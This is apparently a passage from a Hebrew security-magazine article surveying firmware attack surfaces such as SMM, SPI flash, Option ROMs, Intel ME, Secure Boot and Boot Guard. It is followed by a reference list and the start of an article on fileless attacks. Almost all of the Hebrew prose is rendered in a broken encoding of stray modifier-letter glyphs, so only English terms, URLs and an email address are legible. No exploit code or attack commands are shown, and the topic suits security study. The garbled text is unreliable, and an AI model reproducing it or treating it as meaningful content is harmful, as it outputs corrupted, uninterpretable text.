ˢ ˡˣ˵˟ ˢ˷˪ˣ˥ ˪˩˷ ˧ˮ˲ˬ ˸˧ˮ˧˴˶ ˢ˧˰˟πSMM ˪ ˢ˟˧˸˩˪ ˪˧˟ˣˢ˪ ˢ˪ˣ˩˧ ˢ˸˧˧ˢπSPIΦ ˪ ˢˮˠˢ ˧ˮˣˮˠˮˬ ˫˧ˬ˧˧˵π

SPI ˫˧˦ˮˣˣ˪˶ ˸ˬ˞˟ ˞˪ ˫˵˪˥˷ ύˢ ˣˬ˩πBIOS_CNTL ˢˬ ˞˪ ˨˞ ˢ˪˰˲ˢˢ ˸˩˶˰ˬˬ ˸ˣ˟˧˸˩ ˫˯ˣ˥˷π

SMMό ˫˧˦ˮˣˣ˪˶ ˫˵˪˥ˣΣ ˰ ˫˧˰ˬ˦ˣˬ ˞˪ ˨˞Ϧ˸˧˵˪˥ ˫˧˰ˬ˦ˣˬ ˣ˞ ˸ˣ˧ˮ˶˴˧ˢ ˪˩ ˧ ύˣˬ˩ PRx  ˸˞ ˫ˠ ˫˯ˣ˥˷

ˢˬ ˢ˟˧˸˩ˢπSMMΦό ˢ ˸˞˧˶˵ ˡˠˮ ˢ˥˦˟˞ ˧ˮˣˮˠˮˬ ˸ˣ˰˧ˬ˦ˬˢ ˸ˣ˧ˮ˶˴˧ ˸ˣˬ˧˧˵πSPI  ˢ˟˧˸˩ ˡˠˮ ˞˪ ˨˞

ˣ˧˪˞Φ 

 

ˢ˲˧˵˸ ˧˶ˣ˦˵ˣ 

Option ROM 

ˢ ˟˧˩˶˟ ˞˴ˬˮ˷ ˡˣ˵ ˞ˣˢπSPI ˧˶˧˷˩ˬ ˪˰ PCI/PCIe ˰ ˢ˧˧˪˰ˢ ˨˪ˢˬ˟ ˳˶˷Ϧˢ ˧πBIOS ύ ˭ˣˠ˩ ˫˧˟˧˩˶˟ ˞˴ˬˮ

˨˯ˬ ˧˯˧˦˶˩Σ ˸˷˶ ˧˯˧˦˶˩Φό ˰ ˳˶ ˞ˣˢ˷ ˧ˮ˲ˬϦˢ ˧πBIOSΣ  ˭˸˧ˮ˷ ˶˸ˣ˧˟ ˸ˣˢˣ˟ˠˢ ˭ˢ ˣ˪˷ ˸ˣ˞˷˶ˢˢ˷ ˶ˤˠˮ

ˣ˪˷ ˸ˣˮ˩ˣ˯ˬˢ ˫ˠ ˨˩ˣ ˠ˧˷ˢ˪Φ sπOROM  ˢ˶ˬˣ˥ ˟˧˩˶ ˪˩ ˞˪˷ ˢ˟˷˥ˬ ˨ˣ˸ˬ ˶˟˧˧˶ˡ˩ ˫˴˰˟ ˡ˵˲˸ˬ

ˢ˧˧˪˰ˢ ˭ˬˤ˟ ˭˰˦˧˷ ˶˟˧˧˶ˡ ˪ˣ˪˩˪ ˟˧˩˶ˢ ˭˶˴˧ˬ ˷˶ˡˮˣ ˥ˣ˸˧˲ˢ ˸˰˟ ˭ˣ˟˷˥˟ ˥˵˪ˮΦ  ˢˮˠˢ ˸ˣ˩˶˰ˬ

ˢˤ˩ ˡˣ˵ ˫ˣ˯˥˪ ˸ˣ˪ˣ˩˧ ˸ˣ˧ˮ˶ˡˣˬΣ ˷˲˞ˢ ˸ˬ˧˧˵ ˫ˠ ˨˞˶˥ˣ˟ ˷ˬ˸˷ˬˢˣ ˢˡ˧ˬ˟ ˢˮˠˢˢ ˸˞ ˪˦˟˪ ˸ˣ˶Φ 

 ˸˪ˣ˩˧ ˸˞ ˫˴ˬ˴˪ ˨˩˟ˣ ˢˤˢ ˡˣ˵˪ ˸ˣˮ˸˧ˮˢ ˸ˣ˞˷˶ˢˢ ˸˞ ˡ˧˶ˣˢ˪ ˞˧ˢ ˢ˟ ˢ˷ˬ˸˷ˢ ˪˲˞˷ ˸˲˯ˣˮ ˢˮˠˢ

ˣ˪˷ ˢ˰˧ˠ˲ˢΦ 

 

BIOS Update 

˪ ˢ˟˧˸˩ ˡˠˮ ˢˮˠˢ ˸ˣ˰˧ˬ˦ˬ ˸ˣ˧ˮ˶˴˧ˢ ˪˩ ˞˪˷ ˢ˟˧˯ˢπSPI ˢ ˭ˣ˩ˡ˰ ˪˰ ˢ˷˵ˬ ˢˤ˷ ˞˧ˢπBIOSΦ  ˶˷˞˩

ˢ˟ˣ˩ˬ ˢˮˠˢˢΣ ˩˧ ˢˮ˩ˣ˸ˢ˪ ˞ˣ˶˵˪ˣ ˧ˤ˧˲ˢ ˭ˣ˶˩˧ˤ˟ ˣˢ˷˪˩ ˶ˣˤ˧˞˪ ˭ˣ˩ˡ˰ˢ ˭˩ˣ˸ ˸˞ ˟ˣ˸˩˪ ˢ˪ˣπSMI  ˟ˣ˸˩˧˷

˪ ˸ˣ˶˧˷˧ ˭˩ˡˣ˰ˬˢ ˭˩ˣ˸ˢ ˸˞πSPIΦ ˷ˡ˥ˬ ˢ˪˰˲ˢ ˰˴˟˧ ˷ˬ˸˷ˬˢ˷ ˨˶ˣ˴ ˷˧ ˯ˣ˲˸˧ ˭ˣ˩ˡ˰ˢ˷ ˸ˮˬ ˪˰Σ  ˨˞

˸˞ˤ ˸ˣ˷˰˪ ˭˧˧ˮˣ˰ˬ ˞ˣˢ ˧˸ˬ ˶ˣ˥˟˪ ˪ˣ˩˧ ˞ˣˢΦ ˸˪˰˲ˣˬ ˢˮˠˢˢˣ ˢˡ˧ˬ˟Σ ˢ ˡˣ˵πSMM  ˸˷ˠ˪ ˪ˣ˩˧ ˣˮ˧˞

ˤˢ ˢ˶ˣ˴˟˪ ˸˞πSPIΦ ˟ ˶ˬ˷˧˧ ˭ˣ˩ˡ˰ˢ ˭˩ˣ˸πDRAMΣ  ˧ˡˣ˰˧˧ ˶˟˧˧˶ˡˣ ˷ˡ˥ˬ ˢ˪˰˲ˢ ˫ˣˤ˧˸ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ

˪ ˭ˣ˩ˡ˰ˢ ˭˩ˣ˸ ˸˞ ˵˧˸˰˧πSPIΣ ˸˪˰˲ˣˬ ˢˮˠˢˢ˷ ˧ˮ˲˪ ˡˣ˰ Φ 

˞˪ ˣ˞ ˸˪˰˲ˣˬ ˢˮˠˢˢ ˫˞ˢ˟ ˢ˧ˣ˪˸ ˞˪˷ ˢˮˣ˷ ˢ˧˰˟Σ ˸˧˪˦˧ˠ˧ˡ ˢˬ˧˸˥ ˪˷ ˢ˲˧˩˞ ˶˯ˣ˥ ˞˧ˢΦ  ˫ˣ˧ˢ ˫ˠ

˸ˣ˧ˮ˶˴˧ ˭ˮ˷˧Σ ˭ˢ˧ˮ˟ ASUSΣ ˢˬ˧˸˥ ˸ˣ˲˩ˣ˞ ˞˪˷Σ ˢ ˭ˣ˩ˡ˰ ˧ˣˮ˧˷ ˨˶ˡ ˢ˲˧˵˸˪ ˢ˧˴˲ˣ˞ ˥˸ˣ˲˷ ˢˬπBIOSΦ 
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ˢ ˭ˣ˩ˡ˰πBIOS ˪ ˭ˣ˩ˡ˰ ˵˶ ˞˪ ˣ˩ˣ˸˟ ˪˧˩ˬπSPIΣ ˸˩˶˰ˬ˟ ˫˧˟˶ ˫˧˟˧˩˶ˬ˪ ˫˧˟˶ ˫˧ˮˣ˩ˡ˰ ˞˪˞Φ  ˶ˣ˟˰ˮ ˣˮ˥ˮ˞

ˢ ˪˷ ˧ˮˣˡˤ ˭ˣ˩ˡ˰ˬ ˸ˣ˧ˢ˪ ˫˧˪ˣ˩˧ ˫˧ˮˣ˩˧˯ ˣ˪˧˞ ˷˧˥ˬˢ˪ ˧ˡ˩ ˫˵˪˥ ˪˰πSPIΥ 

¶ Intel Embedded Controller  π ˸ˣˮˣ˷ ˸ˣ˪ˣ˰˲ ˪˰ ˧˞˶˥˞ˢ ˶˵˟ ˣ˶˵˧ˬΣ ˭ˢ˧ˮ˧˟Υ  ˪˷ ˢ˵˪ˡˢˣ ˧ˣ˟˧˩

˟˷˥ˬˢΣ ˸ˡ˪˵ˬˢˬ ˸ˣ˸ˣ˞ ˡˣ˟˧˰Σ ˫˷˟ ˢˮˠˢ ˸˩˶˰ˬˬ ˵˪˥˩ˣ ˢ˶ˣ˦˶˲ˬ˦ ˪ˣˢ˧ˮ BIOS Guard  ˫ˠ

ˢ˞˧˶˵ ˸˰˴˟ˬκ˪ ˢ˟˧˸˩πSPIΦ 

¶ Graphics Processing Unit  π ˢˡˣ˟˰ ˭ˣˬˢ ˸˰˴˟ˬ˷ ˣ˪˷ˬ ˢ˥˷ˣ˵ ˷˧ ˨˯ˬ ˯˧˦˶˩˪Φ  ˧˲˶ˠˢ ˯˧˦˶˩ˢ

˟˰ˬ ˪˧˩ˬ˸ˣˮˣ˷ ˸ˣ˶˦ˬ˪ ˣ˟ ˷ˬ˸˷ˢ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞˷ ˧˸ˬ˴ˣ˰ ˡΣ  ˪˰ ˫˧˶˧˧ˡ˷˟ ˷ˬ˸˷ˢ˪ ˢˬˠˣˡ˪

ˡˣ˞ˬ ˫˧˷˵˪ ˫˧˶˵ˣ˥ˢ ˪˷ ˫˧˧˥ˢ ˸˞ ˨ˣ˲ˢ˪ˣ ˫˧˴ˣ˶ ˣˮ˥ˮ˞˷ ˰ˡ˧ˬˢ ˸˞ ˭˧˲˴ˢ˪ ˸ˮˬΦ 

¶ Intel CPU Microcode π ˡ˟˰ˬˢ ˪˷ ˢ˥˷ˣ˵˩ ˢˤ˪ ˯˧˧˥˸ˢ˪ ˶˷˲˞Φ ˢ ˫˴˰˟πMicrocode ˸˲˷ˢ ˞ˣˢ 

low-level ˡ˟˰ˬˢ ˪˷ ˧˪ˬ˷˥ˢ ˪ˠ˰ˬ˪ ˢˮˣ˩ˬˢ ˸˲˷ ˸˞ ˫ˠ˶˸˪ ˸˧˞˶˥˞˷Φ ˪˰ ˶ˬ˞ˬ ˧˸˟˸˩ ˶˟˰˟ 

backdoors ˪˦ˮ˧˞ ˪˷ ˫˧ˡ˟˰ˬ˟  F00F: Stop trusting your CPU. 

¶ Intel Management Engine  π ˟ ˢˣˣˢˬ˷ ˸˩˶˰ˬˬ ˵˪˥˩ ˢˮˠˢ ˧˟˧˩˶ ˢ˟˶ˢ˪ ˯˧˯πSecure BootΦ 

ˡ˶˲ˮ ˡ˟˰ˬ ˸˪˰˟ ˢ˵ˤ˥ ˡˣ˞ˬ ˸˩˶˰ˬΦ ˭ˣˠ˩ ˢˮˠˢ ˸ˣ˩˶˰ˬ˪ ˢ˲˧˵˰ ˸ˣˣˢ˪ ˢ˪ˣ˩˧ ˸˩˶˰ˬˢ ˪˷ ˢ˲˧˵˸ 

Boot GuardΦ 

 

Secure Boot 

ˢˤ ˢˬ Secure BootΚ 

˪˷ ˸˧˪˧˰ˢ ˢ˶˦ˬˢ  Secure Boot  ˪˩˷ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˸˧˧˪˰˟ ˫˧ˬˡ˵˸ˬ ˶˸ˣ˧ˢ ˫˧˵˪˥˪ ˥˧˦˟ˢ˪ ˞˧ˢ

˫˧ˮ˧ˬ˞ ˫ˢ ˫ˢ˟ ˸˷ˬ˸˷ˬ ˞˧ˢ˷ ˫˧˟˞˷ˬˢΦ ˫˧ˬ˧˧˵ о ˸˩˶˰ˬ˟ ˶˥˞ ˟˪˷ ˪˰ ˭ˠˬ ˫ˢˬ ˡ˥˞ ˪˩˷ ˫˧ˠˣ˯Υ 

¶ OS π ˢ ˸ˬ˶˟ ˢˮˠˢπBootloaderΦ ˶ˬˣ˪˩Σ ˪ ˥˧˦˟ˬπBootloader ˢ˪˰ˬ ˞ˣˢ˷ ˫˧˵˪˥ˢ ˪˩˷ ύ˪ˮ˶˵Σ 

˫˧˶˟˧˧˶ˡό ˫˧ˮ˧ˬ˞ ˫ˢΦ 

¶ UEFI  π ˢ˥˷ˣ˵ˢ ˸ˬ˶˟ ˢˮˠˢΦ ˢ ˸ˬ˶˟ ˫˧˶˟˧˧˶ˡ ˭ˣˠ˩ ˫˧˵˪˥ ˪˷ ˸ˣˮ˧ˬ˞ ˥˧˦˟ˬπDXE, ROM ˫˧˧ˮˣ˴˧˥ 

ύOPTION ROMό xπBootloaderΦ 

¶  Verified/Measured Boot π ˢ˶ˬˣ˥ˢ ˸ˬ˶˟ ˢˮˠˢΦ ˟ ˢˬ˴˰ ˢ˥˷ˣ˵ˢ ˪˷ ˸ˣˮ˧ˬ˞ ˥˧˦˟ˬπSPIΦ 

ˢ˴˧˶ˢ ˸˪˧˥˸˟Σ ˢ ˟˪˷˟πPEIΣ sπSecure Boot ˪˰ˣ˲ ˣˮ˧˞ ˭˧˧ˡ˰Φ ˟˪˷ˢ ˱ˣ˯˟ ˵˶Σ  ˢ˶ˬˣ˥ˢ ˧˟˧˩˶˷˩

ˢˣ ˫˧ˢˣˤˬπDRAM ˫˧˧˵Σ sπSecure Boot ˧˶˟˧˧˶ˡ ˪˷ ˸ˣˮ˧ˬ˞ ˥˧˦˟ˢ˪ ˸ˮˬ ˪˰ ˪˰˲ˣˬ DXE ˢ˞˪ˢˣΦ  ˢˬ

˶ˬˣ˞˷Σ ˢ ˸˥˷ˣ˵˷πPEI ˢˣˣˢˬ Root-Of-TrustΦ  ˢ˦˧˪˷ ˠ˧˷ˢ˪ ˢ˶ˣ˴ ˞˧ˢ˷ ˣˤ˧˞˟ ˥˧˪˴ˬ ˱˵ˣ˸ˣ ˢˡ˧ˬ˟

ˢˤˢ ˟˪˷˟Σ  ˸ˣˮ˧ˬ˞ ˪˩˟ ˰ˣˠ˲˪ ˨˩˟ˣ ˫˧˞˟ˢ ˫˧˵˪˥ˢ ˪˷ ˢˬ˧˸˥ˢ ˸ˣ˵˧ˡ˟ ˪˷ ˢ˞˴ˣ˸ ˱˧˧ˤ˪ ˪ˣ˩˧ ˞ˣˢ

˸˩˶˰ˬˢΦ ˢ ˸˥˷ˣ˵˟ ˰ˣˠ˲˪ ˸ˣ˧˴˲ˣ˞ˢ ˸˥˞πPEI ˢˤˢ ˡˣ˵˪ ˸˷ˠ˪ ˪ˣ˩˧˷ ˧ˮˣˡˤ ˭ˣ˩ˡ˰ ˞˧ˢΦ  ˵˶ ˨ˬ˸˯ˢ˪ ˫˞

https://www.digitalwhisper.co.il/files/Zines/0x74/DW116-2-F00F.pdf
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˸˞ˤˢ ˢˮˠˢˢ ˪˰Σ ˫˧˧ˤ˧˲ ˫˧˲˵ˣ˸ ˧ˮ˲ˬ ˢˮˠˬ ˢˮ˧˞ ˞˧ˢ˷ ˸ˣ˞˶˪ ˶˷˲˞Φ  ˥˧˪˴ˬ ˱˵ˣ˸ ˫˞˷ ˸˶ˬˣ˞ ˸˞ˤ

˷ˢ˪ˢ ˡˣ˵ ˸˞ ˸ˣˮ˷˪ˣ ˸˩˶˰ˬ˪ ˸˧ˤ˧˲ ˢ˷˧ˠ ˠ˧πSPIΣ ˸˩˶˰ˬˢ ˸ˣˮ˧ˬ˞ ˪˩˟ ˰ˣˠ˲˪ ˪ˣ˩˧ ˞ˣˢ Φ 

˪˷ ˸˧ˮˣ˷˞˶ˢ ˢ˶ˣ˴˟ Secure Boot sπRoot Of Trust ˢ ˟˪˷˟ ˢ˧ˢπDXEΣ ˢ ˟˧˩˶˪ ˵˶ ˸ˣˮ˧ˬ˞ ˢˣˣˢ˷ ˢˬπ

BootloaderΦ ˭˩ˬ ˶˥˞˪Σ ˢ ˟˪˷˪ ˢ˶˟˰ ˢˮˠˢˢπPEI ˫ˡˣ˵ ˶˞ˣ˸˷ ˧˲˩Φ  ˶˸ˣ˧ ˢˬ˴˰ ˸˞ ˢ˥˧˩ˣˢ˷ ˢˮˠˢ

ˢ˵ˤ˥Σ ˢ˞˪ˬ ˢ˶ˣ˴˟ ˢˮ˧ˠˬ ˞˪ ˸˞ˤ ˪˩˟ ˨˞Φ ˟πнлмс ˫˷˟ ˢˮˠˢ ˢ˯ˮ˩ˮ Boot Guard  ˢ˧˪˰ ˶ˣ˟˰ˮ˷

˨˷ˬˢ˟Φ ˢ ˞˧ˢ ˢ˲˯ˣˣ˸ˢ˷ ˸˲˯ˣˮ ˢˮˠˢπBIOS Guard ˢ ˭ˣ˩ˡ˰ ˪˷ ˸ˣ˧˶˥˞ˢ ˸˞ ˢ˶˧˟˰ˢ˷πSPI ύ ˸˰˟

ˢ˥˷ˣ˵ ˭ˣ˩ˡ˰ό ˢˬπSMM ˧ˤ˧˲ ˟˧˩˶˪ ˰˧ˠ˲ˢ ύsπEmbedded Controller ˣ˧˪˰ ˣˮ˶˟˰˷Φό 

 ˸ˣˮˠˢ ˨˧˶˴ ˫˴˰˟ ˢˬ˪ˬ ˳ˣ˥πSecure BootΚ  

πsSecure Boot ˢ ˡˣ˵˟ ˰ˬ˦ˣˬπSPI ˟ ˸˞˴ˬˮ˷ ˢˮ˩ˣ˸ˢ ˸ˣˮ˧ˬ˞ ˸˞ ˞ˡˣˣ˪ ˪ˣ˩˧ ˞˪ ˨˩ ˪˷˟ˣπSPIΦ  ˪˧˟˷˟

ˢ ˪˰ ˡˣ˵ˢ ˸ˣˮ˧ˬ˞ ˸˞ ˞ˡˣˣ˪πSPIΣ ˢ˶ˣ˥˞ ˡ˥˞ ˟˪˷ ˸˩˪˪ ˨˧˶˴Σ ˢ˶ˬˣ˥˪ Φ 

Intel Management Engine  ˸ˬ˞˪ ˣ˸˶˦ˬ˷ ˢ˥˦˟˞ ˨˶˰ˬ ˰˧ˬ˦ˢ˪ ˭˸˧ˮ ˢ˸˶ˤ˰˟˷ ˢ˧ˠˣ˪ˣˮ˩˦ ˞˧ˢ ˸˞

˟ ˞˴ˬˮ˷ ˡˣ˵ˢπSPIΦ ˡ˟˰ˬ˟ ˶˟ˣˡˬ он ˧˞ˬ˴˰ ˭˲ˣ˞˟ ˪˰ˣ˲˷ ˦˧˟Σ  ˧ˤ˩˶ˬˢ ˡ˟˰ˬˢ˷˩ ˫ˠ ˪˰ˣ˲ ˞ˣˢ ˶ˬˣ˪˩

ˢ˟ˣ˩ˬΦ ˣ˸ˣ˞ ˞ˣˢ ˣ˪˷ ˡˣ˵ˢ CPU Micro code ˭˩˪ ˫ˡˣ˵ ˣˮ˶˩ˤˢ˷Φ 

˫˧˞˶ˣ˵ ˢˤˢ ˢ˥˦˟˞ˢ ˨˶˰ˬ˪ Boot GuardΦ ˵˪ˡˮ ˟˷˥ˬˢ ˶˷˞˩Σ ˢˬ ˡˣ˵ˢ˷ ˧ˮ˲˪ ˡˣ˰πSPI  ˳ˣ˶˪ ˪˧˥˸ˬ

˧ˤ˩˶ˬˢ ˡ˟˰ˬ˟Σ ˟˧˩˶ˬ ˡˣ˵ ˳ˣ˶˪ ˪˧˥˸ˬ SPI ˧˶ˬˠ˪ ˡ˶˲ˮ ύˡˣ˵ ROM ˧ˣˮ˧˷˪ ˭˸˧ˮ ˞˪˷ό ˫˷˟ ˪ˣˡˣˬ ˳˧˶ˬˣ  

Authenticated Code ModuleΦ  ˸˞ ˵ˡˣ˟ˣ ˧ˤ˩˶ˬˢ ˡ˟˰ˬ˟ ˳ˣ˶˪ ˡ˧˸˰˷ ˡˣ˵ˢˬ ˵˪˥ ˥˵ˣ˪ ˪ˣˡˣˬ ˣ˸ˣ˞

ˣ˸ˣˮ˧ˬ˞Φ ˢ ˸˞ ˶˧˟˰ˢ˪ ˞˧ˢ ˢ˶˦ˬˢπRoot Of Trust ˢ ˡˣ˵ ˪˷ ˢ˵˧ˡ˟ˢ ˸˞ ˶˧˟˰ˢ˪ˣ ˡˡˣ˟ˬ ˶ˣˤ˞˪πSPI 

˧˪˰ ˸ˣˮ˸˷ˢ˪ ˪ˣ˩˧ ˞˪˷ ˶ˣˤ˞ ˧ˡϦ˧ˮˣ˴˧˥ ˫˶ˣˠ ˧Φ 

ˣˢˤ ˤ˞Σ ˶ˬˠˮ ˢˤ ˫˷Κ ˢ ˸˞ ˱ˣ˵˸˪ ˶˷˲˞ ˧˞πBoot GuardΚ ˸˧˷˞˶Σ  ˸˞ ˸ˣ˪˧˰˲ˬ ˞˪ ˸ˣ˧ˮ˶˴˧ˢˬ ˢ˟˶ˢ

˧ˮˣ˩ˡ˰ ˪˰ ˪˵ˢ˪ ˸ˮˬ ˪˰ ˪˪˩ ˢ˧˴˵ˮˣ˲ˢ BIOSΦ ˸˧ˮ˷Σ ˫˧˪ˣˡˣˬˣ ˫˧˵˪˥ ˡˣ˞ˬ ˢ˟˶ˢ ˪˧˩ˬ ˭ˣˮˠˮˬˢ˷ ˭ˣˣ˧˩ˬΣ 

˰ ˢ˧˴˶ˣˠ˧˲ˮˣ˵ ˸ˣ˞˧ˠ˷ ˢ˟˶ˢ˪ ˥ˣ˸˲ ˞ˣˢϦ˸ˣ˧ˮ˶˴˧ˢ ˧Φ ˨˩˪ ˶˟˰ˬΣ ˢ ˸˲˧˵˸πManagement Engine  ˢ˪ˣ˩˧

ˢˮˠˢˢ ˭ˣˮˠˮˬ˪ ˢ˲˧˵˰ ˸ˣˣˢ˪. 
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˸˲˧˵˸ Intel ME 

ˢ ˣ˧ˮ˲ ˪˰˷ ˸ˣ˶ˬ˪πME ˶˥˞ ˡ˟˰ˬ˟ ˳˶ Σ˸ˡˡˣ˟ˬ ˢ˟˧˟˯˟Σ  ˫˰ ˸˶ˣ˷˵˸ ˞˧ˢ˷ ˣˤ˧˞ ˰˴˟˪ ˨˧˶˴ ˭˧˧ˡ˰ ˞ˣˢ

˫˧˶˥˞ ˫˧˟˧˩˶ Φ 

Host-Embedded Controller Interface 

ˢ˪˧ˠ˶ˢ ˢ˟˧˟˯˟ ˞˴ˬˮˢ ˪ˮ˶˵ˢ ˫˰ ˶˷˵˸˪ ˢ˪ˣ˩˧ ˸ˡˡˣ˟ˬˢ ˢ˟˧˟˯ˢ ˣ˩˶ˡ˷ ˵˷ˬˬΦ  ˫˧˷ˣˬ˧˷ˢ ˡ˥˞

ˢ ˫˰ ˸˶ˣ˷˵˸ ˞ˣˢ ˵˷ˬˬˢ ˪˷ ˫˧˴ˣ˲ˮˢπME ˥ˣ˸˧˲ˢ ˸˰˟ ˸ˣ˧ˮ˶˴˧ˢ ˪˷Φ 

ˢ ˸ˬ˶˟ ˳˶ˢ ˶˟˧˧˶ˡ ˫˧˧˵πSMM ˪ ˪ˮ˶˵ˢˬ ˸ˣ˰ˡˣˢˢ ˸˞ ˶˧˟˰ˬˢπMEΣ ˫˧ˬ˧˧˵ ˫˷ HECI Handlers 

 ˸˞ ˫˧˶˯˶˲ˬ˷˸ˣ˰ˡˣˢˢΦ  ˞˪ ˰ˡ˧ˬˢ ˡˣ˟˧˰ ˪˰ ˸˧˞˶˥˞˷ ˢ˧˴˵ˮˣ˲ˢˣ ˪ˮ˶˵˟ ˢ˦˧˪˷ ˠ˧˷ˢ ˱˵ˣ˸ˢˣ ˢˡ˧ˬ˟

˦˪˵ˢ ˸˵˧ˡ˟˟ ˢ˟ˣ˦ ˢˡˣ˟˰ ˢ˷ˣ˰Σ ˸˞ˤˢ ˢ˟˧˟˯˟ ˢ˦˧˪˷ ˠ˧˷ˢ˪ ˪ˣ˩˧ ˞ˣˢΦ  ˭˩ˣ˯ˬ ˵˷ˬˬ ˟˷˥ˮ ˢˤ

˸˶˥˞ ˢ˶˧˶˟ ˷˧˷˩ ˣ˟ ˷ˬ˸˷ˢ˪ ˸ˣ˦˰ˬˬ ˸ˣ˧ˮ˶˴˧˷ Φ 

 

˫ˣ˩˧˯ 

ˢ ˞˷ˣˮ ˸˞ ˢ˲˧˵ˬ ˢ˶ˣ˴˟ ˣˮ˶˵˯ ˶ˬ˞ˬ˟πAPTΦ ˢˬ ˣˮ˪˥˸ˢπLegacy BIOSΣ ˭ˣˠ˩ ˫˧˧˯˧˯˟ ˫˧˥ˮˣˬ ˣˮ˶˵˯  

MBR ,VBR ,IPLΣ ˢ˲˧˵˸ ˧˶ˣ˦˵ˣΣ ˣˮˬ˴˰˟ ˸˥˞ ˣˮ˟˸˩ ˱˞ˣ ˭ˢ˪˷ ˢ˪ˣ˰˲ˢ ˨˶ˡ ˸˞ˣ ˸ˣˬ˧˧˵ ˸ˣ˵ˤˣˮ ˣˮ˶˵˯ ύ ˧ˬ

˶ˣ˴˧˪ ˧ˡ˩ ˫˧˧˵ˢ ˰ˡ˧ˬ˟ ˷ˬ˸˷ˢ˪ ˢ˴ˣ˶˷ PoC ˡ˟ˣ˰Σ ˭ˬˤˣˬ Jό 

˸ˣ˧ˮ˶ˡˣˬ ˸ˣ˩˶˰ˬ˪ ˣˮ˶˟˰ ˭˩ˬ ˶˥˞˪Υ ˢ ˨˶˰ˬ ˸˞ ˣˮ˶˵˯πUEFIΣ ˩˶ˣˬ ˞ˣˢ ˢˬˬΣ˟ ˢˬ ˢˮˣ˷ ˞ˣˢ ˡ˴˧˩π

Legacy BIOSΣ ˢ ˣˢˬπSMMΣ ˸˧ˮ˶ˡˣˬ ˢ˥˷ˣ˵ ˸˟˩˶ˣˬ ˢˬˬΣ ˸˧ˮ˶ˡˣˬ ˸˩˶˰ˬ˟ ˢ˲˧˵˸ ˧˶ˣ˦˵ˣΣ  ˸ˣˮˠˢ

˭˸˲˧˵˰ˣ ˸ˣˬˡ˵˸ˬΦ 

˸ˣ˧ˮ˶˴˧ˢ ˪˷ ˸ˣ˰ˡˣˬˢ ˸ˣˮˣ˶˥˞ˢ ˫˧ˮ˷˟ˣ ˰ˣˡ˧ ˞˪ˣ ˶ˣ˲˞ˢ ˶ˣˤ˞˟ ˢ˧ˢ ˸ˣ˟˶ ˫˧ˮ˷˷ ˞˷ˣˮ˟ ˶˟ˣˡˬΣ 

ˣ˪˞ˢ ˫˧˞˷ˣˮ˟ ˫˧˵˯˰˸ˬ˷ ˫˧˶˵ˣ˥ ˶˸ˣ˧ ˫˧˷ˣ˶ˡ ˸˧˰ˬ˷ˬ ˡ˥ˣ ˢ˪ˣ˰ˣ ˢ˪ˣ˰ ˵˶ ˫˧˲˵ˣ˸ˢˣ ˫˧˶˵ˣ˥ˢΦ 

˸ˣ˪˞˷˪Σ ˸ˣ˶˞ˢˣ ˸ˣ˶˰ˢΣ ˪˧˧ˬ˪ ˸ˣˮ˲˪ ˭˸˧ˮ: 

yoni58360@gmail.com 

 

 

  

mailto:yoni58360@gmail.com
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˧˶ˣ˷˧˵˫ 

https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation 

https://arstechnica.com/information-technology/2015/02/how-omnipotent-hackers-tied-to-the-

nsa-hid-for-14-years-and-were-found-at-last/3/ 

https://github.com/0xBADBAC0N/malware 

https://twitter.com/jordannovet/status/1489280667494010880 

https://p.ost2.fyi/courses/course-v1:OpenSecurityTraining2+Arch4001_x86-64_RVF+2021_v1 

https://www.sentinelone.com/labs/zen-and-the-art-of-smm-bug-hunting-finding-mitigating-and-

detecting-uefi-vulnerabilities/ 

https://www.amazon.com/Rootkits-Bootkits-Reversing-Malware-Generation/  

How to hack a turned off computer 

 

  

https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation
https://arstechnica.com/information-technology/2015/02/how-omnipotent-hackers-tied-to-the-nsa-hid-for-14-years-and-were-found-at-last/3/
https://arstechnica.com/information-technology/2015/02/how-omnipotent-hackers-tied-to-the-nsa-hid-for-14-years-and-were-found-at-last/3/
https://github.com/0xBADBAC0N/malware
https://twitter.com/jordannovet/status/1489280667494010880
https://p.ost2.fyi/courses/course-v1:OpenSecurityTraining2+Arch4001_x86-64_RVF+2021_v1
https://www.sentinelone.com/labs/zen-and-the-art-of-smm-bug-hunting-finding-mitigating-and-detecting-uefi-vulnerabilities/
https://www.sentinelone.com/labs/zen-and-the-art-of-smm-bug-hunting-finding-mitigating-and-detecting-uefi-vulnerabilities/
https://www.amazon.com/Rootkits-Bootkits-Reversing-Malware-Generation/dp/1593277164/ref=sr_1_1?crid=3KK46V1YD2D2Y&keywords=BOOTKITS&qid=1652212939&sprefix=booti%2Caps%2C332&sr=8-1
https://www.youtube.com/watch?v=9fhNokIgBMU
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Fileless Attacks - ˶ˣ˲˧˯ˢ ˣˮ˧˞˷ ˶ˬˠˮ 

˸˞ˬ ˤ˶˞ ˠ˶˟ˡ˪ˣˠ 

 

ˢˬˡ˵ˢ 

˧˦ˮ˞ˢπ˯ˣ˶˧ˣ ˳˶ ˰˵˶˟  ˫˧ˡˣ˷˥ ˫˧˴˟˵ ˶˥˞ ˵˶ˣ˯ˣ˟˫˧˴˟˵ˢ ˸˩˶˰ˬ Φ˫˞ ˡ˧˶ˣˮ ˳˟ˣ˵ ˧ˮˣˡˤ ˟˷˥ˬ˪ Σ˸ˮ˩ˣ˸ 

˧˦ˮ˞ˢπ˯ˣ˶˧ˣ ˵ˣ˶˯˸ ˣ˸ˣ˞ ˢˣˣ˷˸ˣ ˪ˣˬ ˶ˠ˞ˬ ˰ˣˡ˧ ˪˷ ˫˧ˬˣ˧˞ Φˢˡ˧ˬ˟ ˳˟ˣ˵ˢˣ ˫˞ˣ˸ ˣ˪˧˲˞ ˸˧˵˪˥ ˢˬ˧˸˥˪ 

ˢ˰ˣˡ˧ ˪˷ ˡˣ˵ ˧ˮˣˡˤ Σ˧˦ˮ˞ˢπ˯ˣ˶˧ˣ ˶˴ˣ˰ ˸˞ ˸˪˰˲ˢ ˳˟ˣ˵ˢ ˯˧ˮ˩ˬˣ ˣ˸ˣ˞ ˸˧˧˵˧˸˪ ˶ˠ˯ˢ Φ ˫ˣ˧˩˷ ˸ˣ˵˧ˮ˩˦ ˣ˪˞

